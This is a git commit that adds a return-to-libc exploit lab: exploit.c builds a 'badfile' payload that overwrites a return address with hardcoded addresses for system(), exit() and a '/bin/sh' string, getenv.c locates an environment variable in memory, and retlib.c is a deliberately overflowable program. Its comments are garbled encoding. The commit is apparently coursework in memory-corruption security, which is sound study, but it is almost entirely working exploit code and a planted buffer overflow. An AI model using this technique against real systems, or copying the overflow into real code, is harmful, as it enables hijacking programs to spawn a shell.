Adding new files

coderall · web-flow · commit 32f34fb72834 · 2016-11-14T21:38:03.000+08:00
this three files is the return-to-libc attack implementation source files
diff --git a/exploit.c b/exploit.c
@@ -0,0 +1,21 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+int main(int argc, char **argv)
+{
+  char buf[40];
+  FILE *badfile;
+
+  badfile = fopen("./badfile", "w");
+
+// �⼸����ַ��libc����ص�����ռ�ĵ�ַ������ʹ��gdb �� p system �� p exit ����õ�
+// ǰ������ʹ��run����֮����Ϊ���ǵ���̬���ӿ���ӳٰ󶨲���
+
+  *(long *) &buf[32] = 0xbffffe7b ;   //  "/bin/sh"
+  /*����Ϊʲô���±�24��ʼ��ԭ�����ʹ��objdump -d retlib ������*/
+  *(long *) &buf[24] = 0xb7e5f430 ;   //  system()   
+  *(long *) &buf[28] = 0xb7e52fb0 ;   //  exit()
+
+  fwrite(buf, sizeof(buf), 1, badfile);
+  fclose(badfile);
+}
diff --git a/getenv.c b/getenv.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+int main(int argc,char *argv[])
+{
+	char *p = getenv("MYSH");
+	if(NULL == p)
+	 {
+		 printf("MYSH no exist\n");
+		 exit(0);
+	 }
+	 printf("MYSH address is %p content %s\n",p,p);
+	 return 0;
+}
diff --git a/retlib.c b/retlib.c
@@ -0,0 +1,26 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdint.h>
+
+int bof(FILE *badfile)
+{
+    char buffer[12];
+	
+	// vulnerable with buffer overflow attack
+    fread(buffer, sizeof(char), 40, badfile);
+
+    return 1;
+}
+
+int main(int argc, char **argv)
+{
+    FILE *badfile;
+    badfile = fopen("badfile", "r");
+    bof(badfile);
+
+    printf("Returned Properly\n");
+
+    fclose(badfile);
+    return 1;
+}
